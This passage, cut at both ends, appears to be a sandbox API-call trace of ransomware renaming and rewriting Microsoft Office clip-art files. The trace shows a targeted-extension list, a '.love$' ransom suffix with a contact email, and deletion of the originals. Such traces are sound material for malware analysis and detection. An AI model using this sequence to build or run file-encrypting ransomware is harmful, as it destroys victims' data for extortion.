(lpString1=".doc", lpString2=".WMF") returned -1 [0238.590] lstrlenW (lpString=".docx") returned 5 [0238.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.590] lstrlenW (lpString=".pdf") returned 4 [0238.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.590] lstrlenW (lpString=".xls") returned 4 [0238.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.590] lstrlenW (lpString=".xlsx") returned 5 [0238.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.590] lstrlenW (lpString=".ppt") returned 4 [0238.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0238.591] lstrlenW (lpString=".zip") returned 4 [0238.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.591] lstrlenW (lpString=".rar") returned 4 [0238.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.591] lstrlenW (lpString=".bz2") returned 4 [0238.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.591] lstrlenW (lpString=".7z") returned 3 [0238.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0238.591] lstrlenW (lpString=".dbf") returned 4 [0238.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0238.591] lstrlenW (lpString=".1cd") returned 4 [0238.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0238.591] lstrlenW (lpString=".jpg") returned 4 [0238.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0238.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0238.591] lstrlenW (lpString=".doc") returned 4 [0238.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.591] lstrlenW (lpString=".docx") returned 5 [0238.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.591] lstrlenW (lpString=".pdf") returned 4 [0238.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.591] lstrlenW (lpString=".xls") returned 4 [0238.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.592] lstrlenW (lpString=".xlsx") returned 5 [0238.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.592] lstrlenW (lpString=".ppt") returned 4 [0238.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0238.592] lstrlenW (lpString=".zip") returned 4 [0238.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.592] lstrlenW (lpString=".rar") returned 4 [0238.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.592] lstrlenW (lpString=".bz2") returned 4 [0238.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.592] lstrlenW (lpString=".7z") returned 3 [0238.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0238.592] lstrlenW (lpString=".dbf") returned 4 [0238.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0238.592] lstrlenW (lpString=".1cd") returned 4 [0238.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0238.592] lstrlenW (lpString=".jpg") returned 4 [0238.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.592] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0238.592] lstrlenW (lpString="BS00443_.WMF") returned 12 [0238.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0238.593] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1676) returned 1 [0238.593] CloseHandle (hObject=0x3bc) returned 1 [0238.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220 [0238.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0238.594] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.594] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0238.595] GetLastError () returned 0x0 [0238.595] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x68c, lpOverlapped=0x0) returned 1 [0238.596] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x690, lpOverlapped=0x0) returned 1 [0238.597] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.598] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.598] SetEndOfFile (hFile=0x4c8) returned 1 [0238.598] CloseHandle (hObject=0x4c8) returned 1 [0238.598] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.598] SetEndOfFile (hFile=0x3bc) returned 1 [0238.600] CloseHandle (hObject=0x3bc) returned 1 [0238.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0238.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0238.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0238.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0238.602] lstrlenW (lpString=".doc") returned 4 [0238.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.602] lstrlenW (lpString=".docx") returned 5 [0238.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.602] lstrlenW (lpString=".pdf") returned 4 [0238.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.602] lstrlenW (lpString=".xls") returned 4 [0238.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.602] lstrlenW (lpString=".xlsx") returned 5 [0238.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.602] lstrlenW (lpString=".ppt") returned 4 [0238.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0238.602] lstrlenW (lpString=".zip") returned 4 [0238.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.602] lstrlenW (lpString=".rar") returned 4 [0238.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.602] lstrlenW (lpString=".bz2") returned 4 [0238.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.602] lstrlenW (lpString=".7z") returned 3 [0238.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0238.603] lstrlenW (lpString=".dbf") returned 4 [0238.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0238.603] lstrlenW (lpString=".1cd") returned 4 [0238.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0238.603] lstrlenW (lpString=".jpg") returned 4 [0238.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0238.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0238.603] lstrlenW (lpString=".doc") returned 4 [0238.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.603] lstrlenW (lpString=".docx") returned 5 [0238.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.603] lstrlenW (lpString=".pdf") returned 4 [0238.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.603] lstrlenW (lpString=".xls") returned 4 [0238.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.603] lstrlenW (lpString=".xlsx") returned 5 [0238.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.603] lstrlenW (lpString=".ppt") returned 4 [0238.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0238.604] lstrlenW (lpString=".zip") returned 4 [0238.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.604] lstrlenW (lpString=".rar") returned 4 [0238.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.604] lstrlenW (lpString=".bz2") returned 4 [0238.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.604] lstrlenW (lpString=".7z") returned 3 [0238.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0238.604] lstrlenW (lpString=".dbf") returned 4 [0238.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0238.604] lstrlenW (lpString=".1cd") returned 4 [0238.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0238.604] lstrlenW (lpString=".jpg") returned 4 [0238.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.604] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0238.604] lstrlenW (lpString="BS00444_.WMF") returned 12 [0238.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0238.925] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3896) returned 1 [0238.925] CloseHandle (hObject=0x4f0) returned 1 [0238.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220 [0238.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0239.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0239.320] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.320] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0239.321] GetLastError () returned 0x0 [0239.321] ReadFile (in: hFile=0x4ec, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xf38, lpOverlapped=0x0) returned 1 [0239.674] WriteFile (in: hFile=0x4f0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf40, lpOverlapped=0x0) returned 1 [0239.675] ReadFile (in: hFile=0x4ec, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.675] WriteFile (in: hFile=0x4f0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.676] SetEndOfFile (hFile=0x4f0) returned 1 [0239.722] CloseHandle (hObject=0x4f0) returned 1 [0239.735] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.735] SetEndOfFile (hFile=0x4ec) returned 1 [0239.781] CloseHandle (hObject=0x4ec) returned 1 [0239.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0239.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0239.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0239.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0239.785] lstrlenW (lpString=".doc") returned 4 [0239.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.785] lstrlenW (lpString=".docx") returned 5 [0239.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.785] lstrlenW (lpString=".pdf") returned 4 [0239.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.785] lstrlenW (lpString=".xls") returned 4 [0239.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.785] lstrlenW (lpString=".xlsx") returned 5 [0239.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.786] lstrlenW (lpString=".ppt") returned 4 [0239.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0239.786] lstrlenW (lpString=".zip") returned 4 [0239.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.786] lstrlenW (lpString=".rar") returned 4 [0239.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.786] lstrlenW (lpString=".bz2") returned 4 [0239.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.786] lstrlenW (lpString=".7z") returned 3 [0239.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0239.786] lstrlenW (lpString=".dbf") returned 4 [0239.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0239.786] lstrlenW (lpString=".1cd") returned 4 [0239.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0239.786] lstrlenW (lpString=".jpg") returned 4 [0239.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0239.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0239.786] lstrlenW (lpString=".doc") returned 4 [0239.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.786] lstrlenW (lpString=".docx") returned 5 [0239.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.786] lstrlenW (lpString=".pdf") returned 4 [0239.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.786] lstrlenW (lpString=".xls") returned 4 [0239.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.786] lstrlenW (lpString=".xlsx") returned 5 [0239.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.786] lstrlenW (lpString=".ppt") returned 4 [0239.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0239.787] lstrlenW (lpString=".zip") returned 4 [0239.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.787] lstrlenW (lpString=".rar") returned 4 [0239.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.787] lstrlenW (lpString=".bz2") returned 4 [0239.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.787] lstrlenW (lpString=".7z") returned 3 [0239.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0239.787] lstrlenW (lpString=".dbf") returned 4 [0239.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0239.787] lstrlenW (lpString=".1cd") returned 4 [0239.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0239.787] lstrlenW (lpString=".jpg") returned 4 [0239.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.787] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0239.787] lstrlenW (lpString="BS01080_.WMF") returned 12 [0239.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0239.788] GetFileSizeEx (in: hFile=0x4e0, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2732) returned 1 [0239.788] CloseHandle (hObject=0x4e0) returned 1 [0239.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220 [0239.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0239.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0239.789] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.789] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0239.790] GetLastError () returned 0x0 [0239.790] ReadFile (in: hFile=0x4e0, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xaac, lpOverlapped=0x0) returned 1 [0239.791] WriteFile (in: hFile=0x4ec, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xab0, lpOverlapped=0x0) returned 1 [0239.794] ReadFile (in: hFile=0x4e0, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.794] WriteFile (in: hFile=0x4ec, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.794] SetEndOfFile (hFile=0x4ec) returned 1 [0239.794] CloseHandle (hObject=0x4ec) returned 1 [0239.794] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.794] SetEndOfFile (hFile=0x4e0) returned 1 [0239.797] CloseHandle (hObject=0x4e0) returned 1 [0239.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0239.798] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0239.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0239.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0239.798] lstrlenW (lpString=".doc") returned 4 [0239.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.798] lstrlenW (lpString=".docx") returned 5 [0239.798] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.798] lstrlenW (lpString=".pdf") returned 4 [0239.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.799] lstrlenW (lpString=".xls") returned 4 [0239.799] lstrcmpiW (lpString1=".xls", 